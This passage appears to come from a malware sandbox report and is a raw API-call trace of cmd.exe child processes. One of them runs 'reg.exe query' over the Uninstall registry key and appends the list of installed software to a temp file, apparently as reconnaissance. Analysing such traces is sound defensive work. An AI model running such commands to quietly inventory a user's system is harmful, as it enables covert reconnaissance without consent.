(in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2bea30, lpData=0x2bea50, lpcbData=0x2bea34*=0x1000 | out: lpType=0x2bea30*=0x0, lpData=0x2bea50*=0x40, lpcbData=0x2bea34*=0x1000) returned 0x2 [0146.456] RegCloseKey (hKey=0x44) returned 0x0 [0146.456] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2bea38 | out: phkResult=0x2bea38*=0x44) returned 0x0 [0146.456] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2bea30, lpData=0x2bea50, lpcbData=0x2bea34*=0x1000 | out: lpType=0x2bea30*=0x0, lpData=0x2bea50*=0x40, lpcbData=0x2bea34*=0x1000) returned 0x2 [0146.456] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2bea30, lpData=0x2bea50, lpcbData=0x2bea34*=0x1000 | out: lpType=0x2bea30*=0x4, lpData=0x2bea50*=0x1, lpcbData=0x2bea34*=0x4) returned 0x0 [0146.456] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2bea30, lpData=0x2bea50, lpcbData=0x2bea34*=0x1000 | out: lpType=0x2bea30*=0x0, lpData=0x2bea50*=0x1, lpcbData=0x2bea34*=0x1000) returned 0x2 [0146.456] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2bea30, lpData=0x2bea50, lpcbData=0x2bea34*=0x1000 | out: lpType=0x2bea30*=0x4, lpData=0x2bea50*=0x0, lpcbData=0x2bea34*=0x4) returned 0x0 [0146.456] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2bea30, lpData=0x2bea50, lpcbData=0x2bea34*=0x1000 | out: lpType=0x2bea30*=0x4, lpData=0x2bea50*=0x9, lpcbData=0x2bea34*=0x4) returned 0x0 [0146.456] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2bea30, lpData=0x2bea50, lpcbData=0x2bea34*=0x1000 | out: lpType=0x2bea30*=0x4, lpData=0x2bea50*=0x9, lpcbData=0x2bea34*=0x4) returned 0x0 [0146.456] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2bea30, lpData=0x2bea50, lpcbData=0x2bea34*=0x1000 | out: lpType=0x2bea30*=0x0, lpData=0x2bea50*=0x9, lpcbData=0x2bea34*=0x1000) returned 0x2 [0146.457] RegCloseKey (hKey=0x44) returned 0x0 [0146.457] time (in: timer=0x0 | out: timer=0x0) returned 0x5cfd2096 [0146.457] srand (_Seed=0x5cfd2096) [0146.457] GetCommandLineW () returned="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" [0146.457] GetCommandLineW () returned="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" [0146.457] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aa9c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0146.457] GetProcessHeap () returned 0x3a0000 [0146.457] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x218) returned 0x3bba50 [0146.457] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3bba60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0146.457] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4aa8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0146.457] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4aa8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0146.457] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4aa8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0146.457] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0146.457] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0146.457] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0146.457] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0146.457] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0146.457] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0146.457] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0146.457] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0146.457] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0146.458] GetProcessHeap () returned 0x3a0000 [0146.458] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3ba530 | out: hHeap=0x3a0000) returned 1 [0146.458] GetEnvironmentStringsW () returned 0x3b9ab0* [0146.458] GetProcessHeap () returned 0x3a0000 [0146.458] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xa90) returned 0x3bc710 [0146.458] FreeEnvironmentStringsW (penv=0x3b9ab0) returned 1 [0146.458] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4aa8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0146.458] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4aa8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0146.458] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0146.458] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0146.458] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0146.458] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0146.458] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0146.458] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0146.458] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0146.458] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0146.458] GetProcessHeap () returned 0x3a0000 [0146.458] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x38) returned 0x3b64f0 [0146.458] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x2bf840 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0146.458] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x2bf840, lpFilePart=0x2bf820 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x2bf820*="system32") returned 0x13 [0146.458] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0146.458] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x2bf550 | out: lpFindFileData=0x2bf550*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdc77c7e0, ftLastAccessTime.dwHighDateTime=0x1d4d5d9, ftLastWriteTime.dwLowDateTime=0xdc77c7e0, ftLastWriteTime.dwHighDateTime=0x1d4d5d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe20000e2, cFileName="Windows", cAlternateFileName="")) returned 0x3b8340 [0146.459] FindClose (in: hFindFile=0x3b8340 | out: hFindFile=0x3b8340) returned 1 [0146.459] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x2bf550 | out: lpFindFileData=0x2bf550*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd859920, ftLastAccessTime.dwHighDateTime=0x1d4d5f8, ftLastWriteTime.dwLowDateTime=0xd859920, ftLastWriteTime.dwHighDateTime=0x1d4d5f8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe20000e2, cFileName="System32", cAlternateFileName="")) returned 0x3b8340 [0146.459] FindClose (in: hFindFile=0x3b8340 | out: hFindFile=0x3b8340) returned 1 [0146.459] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0146.459] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0146.459] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0146.459] GetProcessHeap () returned 0x3a0000 [0146.459] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bc710 | out: hHeap=0x3a0000) returned 1 [0146.459] GetEnvironmentStringsW () returned 0x3b9ab0* [0146.459] GetProcessHeap () returned 0x3a0000 [0146.459] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xac0) returned 0x3bbc70 [0146.459] FreeEnvironmentStringsW (penv=0x3b9ab0) returned 1 [0146.459] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aa9c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0146.459] GetProcessHeap () returned 0x3a0000 [0146.459] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b64f0 | out: hHeap=0x3a0000) returned 1 [0146.459] GetProcessHeap () returned 0x3a0000 [0146.459] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x4016) returned 0x3bdc80 [0146.460] GetProcessHeap () returned 0x3a0000 [0146.460] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x98) returned 0x3bc740 [0146.460] GetProcessHeap () returned 0x3a0000 [0146.460] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x4010) returned 0x3c1ca0 [0146.460] GetProcessHeap () returned 0x3a0000 [0146.460] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x4010) returned 0x3c5cc0 [0146.461] GetProcessHeap () returned 0x3a0000 [0146.461] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bdc80 | out: hHeap=0x3a0000) returned 1 [0146.461] GetConsoleOutputCP () returned 0x1b5 [0146.461] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aa9bfe0 | out: lpCPInfo=0x4aa9bfe0) returned 1 [0146.461] GetUserDefaultLCID () returned 0x409 [0146.461] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4aa97b50, cchData=8 | out: lpLCData=":") returned 2 [0146.461] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2bf950, cchData=128 | out: lpLCData="0") returned 2 [0146.462] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2bf950, cchData=128 | out: lpLCData="0") returned 2 [0146.462] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2bf950, cchData=128 | out: lpLCData="1") returned 2 [0146.462] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4aaaa740, cchData=8 | out: lpLCData="/") returned 2 [0146.462] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4aaaa4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0146.462] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4aaaa460, cchData=32 | out: lpLCData="Tue") returned 4 [0146.462] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4aaaa420, cchData=32 | out: lpLCData="Wed") returned 4 [0146.462] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4aaaa3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0146.462] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4aaaa3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0146.462] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4aaaa360, cchData=32 | out: lpLCData="Sat") returned 4 [0146.462] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4aaaa700, cchData=32 | out: lpLCData="Sun") returned 4 [0146.462] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4aa97b40, cchData=8 | out: lpLCData=".") returned 2 [0146.462] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4aaaa4e0, cchData=8 | out: lpLCData=",") returned 2 [0146.462] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0146.463] GetProcessHeap () returned 0x3a0000 [0146.463] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x0, Size=0x20c) returned 0x3bc7e0 [0146.463] GetConsoleTitleW (in: lpConsoleTitle=0x3bc7e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0146.463] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0146.463] GetProcAddress (hModule=0x77040000, lpProcName="CopyFileExW") returned 0x770523d0 [0146.463] GetProcAddress (hModule=0x77040000, lpProcName="IsDebuggerPresent") returned 0x77048290 [0146.463] GetProcAddress (hModule=0x77040000, lpProcName="SetConsoleInputExeNameW") returned 0x770517e0 [0146.463] GetProcessHeap () returned 0x3a0000 [0146.463] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x4012) returned 0x3bdc80 [0146.463] GetProcessHeap () returned 0x3a0000 [0146.463] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bdc80 | out: hHeap=0x3a0000) returned 1 [0146.464] _wcsicmp (_String1="echo", _String2=")") returned 60 [0146.464] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0146.464] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0146.464] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0146.464] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0146.464] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0146.464] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0146.464] GetProcessHeap () returned 0x3a0000 [0146.464] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xb0) returned 0x3bca00 [0146.464] GetProcessHeap () returned 0x3a0000 [0146.464] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x1a) returned 0x3b45f0 [0146.464] GetProcessHeap () returned 0x3a0000 [0146.464] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x26) returned 0x3b4620 [0146.464] GetProcessHeap () returned 0x3a0000 [0146.464] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x38) returned 0x3b64f0 [0146.467] GetProcessHeap () returned 0x3a0000 [0146.467] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x6e) returned 0x3bcac0 [0146.467] GetProcessHeap () returned 0x3a0000 [0146.467] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x28) returned 0x3b4650 [0146.467] _get_osfhandle (_FileHandle=1) returned 0x7 [0146.467] _get_osfhandle (_FileHandle=1) returned 0x7 [0146.468] _get_osfhandle (_FileHandle=1) returned 0x7 [0146.468] GetFileType (hFile=0x7) returned 0x2 [0146.468] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0146.468] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2bf828 | out: lpMode=0x2bf828) returned 1 [0146.468] _dup (_FileHandle=1) returned 3 [0146.468] _close (_FileHandle=1) returned 0 [0146.469] _wcsicmp (_String1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1", _String2="con") returned -53 [0146.469] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1d0e.bin1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x2bf7d8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50 [0146.469] _open_osfhandle (_OSFileHandle=0x50, _Flags=8) returned 1 [0146.469] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.469] GetFileType (hFile=0x50) returned 0x1 [0146.469] GetFileSize (in: hFile=0x50, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x64c6 [0146.469] SetFilePointer (in: hFile=0x50, lDistanceToMove=-1, lpDistanceToMoveHigh=0x2bf838*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2bf838*=0) returned 0x64c5 [0146.469] ReadFile (in: hFile=0x50, lpBuffer=0x2bf828, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7d0, lpOverlapped=0x0 | out: lpBuffer=0x2bf828*, lpNumberOfBytesRead=0x2bf7d0*=0x1, lpOverlapped=0x0) returned 1 [0146.469] GetConsoleTitleW (in: lpConsoleTitle=0x2bf860, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0146.469] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0146.469] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0146.470] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0146.470] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0146.470] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0146.470] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0146.470] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0146.470] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0146.470] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0146.470] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0146.470] GetProcessHeap () returned 0x3a0000 [0146.470] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x3c) returned 0x3b8570 [0146.470] GetProcessHeap () returned 0x3a0000 [0146.470] RtlReAllocateHeap (Heap=0x3a0000, Flags=0x0, Ptr=0x3b8570, Size=0x24) returned 0x3b4680 [0146.470] GetProcessHeap () returned 0x3a0000 [0146.470] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b4680) returned 0x24 [0146.470] GetProcessHeap () returned 0x3a0000 [0146.470] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x30) returned 0x3b65b0 [0146.471] _vsnwprintf (in: _Buffer=0x4aaa6340, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x2bf5f8 | out: _Buffer="-------- \r\n") returned 11 [0146.471] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.471] GetFileType (hFile=0x50) returned 0x1 [0146.471] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.471] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="-------- \r\n", cchWideChar=-1, lpMultiByteStr=0x4aa9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-------- \r\n", lpUsedDefaultChar=0x0) returned 12 [0146.471] WriteFile (in: hFile=0x50, lpBuffer=0x4aa9c320*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x2bf5c8, lpOverlapped=0x0 | out: lpBuffer=0x4aa9c320*, lpNumberOfBytesWritten=0x2bf5c8*=0xb, lpOverlapped=0x0) returned 1 [0146.471] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0146.472] _close (_FileHandle=3) returned 0 [0146.473] _get_osfhandle (_FileHandle=1) returned 0x7 [0146.473] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0146.473] _get_osfhandle (_FileHandle=1) returned 0x7 [0146.473] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4aa8e194 | out: lpMode=0x4aa8e194) returned 1 [0146.473] _get_osfhandle (_FileHandle=0) returned 0x3 [0146.473] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4aa8e198 | out: lpMode=0x4aa8e198) returned 1 [0146.473] SetConsoleInputExeNameW () returned 0x1 [0146.473] GetConsoleOutputCP () returned 0x1b5 [0146.474] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aa9bfe0 | out: lpCPInfo=0x4aa9bfe0) returned 1 [0146.474] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0146.474] exit (_Code=0) Process: id = "39" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x35f68000" os_pid = "0x810" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x458" cmd_line = "cmd /C \"reg.exe query \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" /s >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "64" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 346 os_tid = 0x860 [0146.539] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1ffd20 | out: lpSystemTimeAsFileTime=0x1ffd20*(dwLowDateTime=0xfe7bc550, dwHighDateTime=0x1d51ed4)) [0146.539] GetCurrentProcessId () returned 0x810 [0146.539] GetCurrentThreadId () returned 0x860 [0146.539] GetTickCount () returned 0x308f5 [0146.539] QueryPerformanceCounter (in: lpPerformanceCount=0x1ffd28 | out: lpPerformanceCount=0x1ffd28*=27106365888) returned 1 [0146.541] GetModuleHandleW (lpModuleName=0x0) returned 0x4a010000 [0146.541] __set_app_type (_Type=0x1) [0146.541] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a037810) returned 0x0 [0146.541] __getmainargs (in: _Argc=0x4a05a608, _Argv=0x4a05a618, _Env=0x4a05a610, _DoWildCard=0, _StartInfo=0x4a03e0f4 | out: _Argc=0x4a05a608, _Argv=0x4a05a618, _Env=0x4a05a610) returned 0 [0146.541] GetCurrentThreadId () returned 0x860 [0146.541] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x860) returned 0x3c [0146.541] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0146.541] GetProcAddress (hModule=0x77040000, lpProcName="SetThreadUILanguage") returned 0x77056d40 [0146.541] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0146.542] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0146.542] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ffcb8 | out: phkResult=0x1ffcb8*=0x0) returned 0x2 [0146.542] VirtualQuery (in: lpAddress=0x1ffca0, lpBuffer=0x1ffc20, dwLength=0x30 | out: lpBuffer=0x1ffc20*(BaseAddress=0x1ff000, AllocationBase=0x100000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0146.542] VirtualQuery (in: lpAddress=0x100000, lpBuffer=0x1ffc20, dwLength=0x30 | out: lpBuffer=0x1ffc20*(BaseAddress=0x100000, AllocationBase=0x100000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0146.542] VirtualQuery (in: lpAddress=0x101000, lpBuffer=0x1ffc20, dwLength=0x30 | out: lpBuffer=0x1ffc20*(BaseAddress=0x101000, AllocationBase=0x100000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0146.542] VirtualQuery (in: lpAddress=0x104000, lpBuffer=0x1ffc20, dwLength=0x30 | out: lpBuffer=0x1ffc20*(BaseAddress=0x104000, AllocationBase=0x100000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0146.542] VirtualQuery (in: lpAddress=0x200000, lpBuffer=0x1ffc20, dwLength=0x30 | out: lpBuffer=0x1ffc20*(BaseAddress=0x200000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x60000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0146.542] GetConsoleOutputCP () returned 0x1b5 [0146.542] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a04bfe0 | out: lpCPInfo=0x4a04bfe0) returned 1 [0146.542] SetConsoleCtrlHandler (HandlerRoutine=0x4a033184, Add=1) returned 1 [0146.542] _get_osfhandle (_FileHandle=1) returned 0x7 [0146.542] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0146.543] _get_osfhandle (_FileHandle=1) returned 0x7 [0146.543] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a03e194 | out: lpMode=0x4a03e194) returned 1 [0146.543] _get_osfhandle (_FileHandle=1) returned 0x7 [0146.543] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0146.543] _get_osfhandle (_FileHandle=0) returned 0x3 [0146.543] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a03e198 | out: lpMode=0x4a03e198) returned 1 [0146.543] _get_osfhandle (_FileHandle=0) returned 0x3 [0146.543] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0146.543] GetEnvironmentStringsW () returned 0x278b80* [0146.544] GetProcessHeap () returned 0x260000 [0146.544] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xa78) returned 0x279600 [0146.544] FreeEnvironmentStringsW (penv=0x278b80) returned 1 [0146.544] GetProcessHeap () returned 0x260000 [0146.544] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x8) returned 0x278a00 [0146.544] GetEnvironmentStringsW () returned 0x278b80* [0146.544] GetProcessHeap () returned 0x260000 [0146.544] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xa78) returned 0x27a080 [0146.544] FreeEnvironmentStringsW (penv=0x278b80) returned 1 [0146.544] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1feb78 | out: phkResult=0x1feb78*=0x44) returned 0x0 [0146.544] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1feb70, lpData=0x1feb90, lpcbData=0x1feb74*=0x1000 | out: lpType=0x1feb70*=0x0, lpData=0x1feb90*=0x18, lpcbData=0x1feb74*=0x1000) returned 0x2 [0146.544] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1feb70, lpData=0x1feb90, lpcbData=0x1feb74*=0x1000 | out: lpType=0x1feb70*=0x4, lpData=0x1feb90*=0x1, lpcbData=0x1feb74*=0x4) returned 0x0 [0146.544] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1feb70, lpData=0x1feb90, lpcbData=0x1feb74*=0x1000 | out: lpType=0x1feb70*=0x0, lpData=0x1feb90*=0x1, lpcbData=0x1feb74*=0x1000) returned 0x2 [0146.544] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1feb70, lpData=0x1feb90, lpcbData=0x1feb74*=0x1000 | out: lpType=0x1feb70*=0x4, lpData=0x1feb90*=0x0, lpcbData=0x1feb74*=0x4) returned 0x0 [0146.544] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1feb70, lpData=0x1feb90, lpcbData=0x1feb74*=0x1000 | out: lpType=0x1feb70*=0x4, lpData=0x1feb90*=0x40, lpcbData=0x1feb74*=0x4) returned 0x0 [0146.544] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1feb70, lpData=0x1feb90, lpcbData=0x1feb74*=0x1000 | out: lpType=0x1feb70*=0x4, lpData=0x1feb90*=0x40, lpcbData=0x1feb74*=0x4) returned 0x0 [0146.544] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1feb70, lpData=0x1feb90, lpcbData=0x1feb74*=0x1000 | out: lpType=0x1feb70*=0x0, lpData=0x1feb90*=0x40, lpcbData=0x1feb74*=0x1000) returned 0x2 [0146.544] RegCloseKey (hKey=0x44) returned 0x0 [0146.544] RegOpenKeyExW (in: 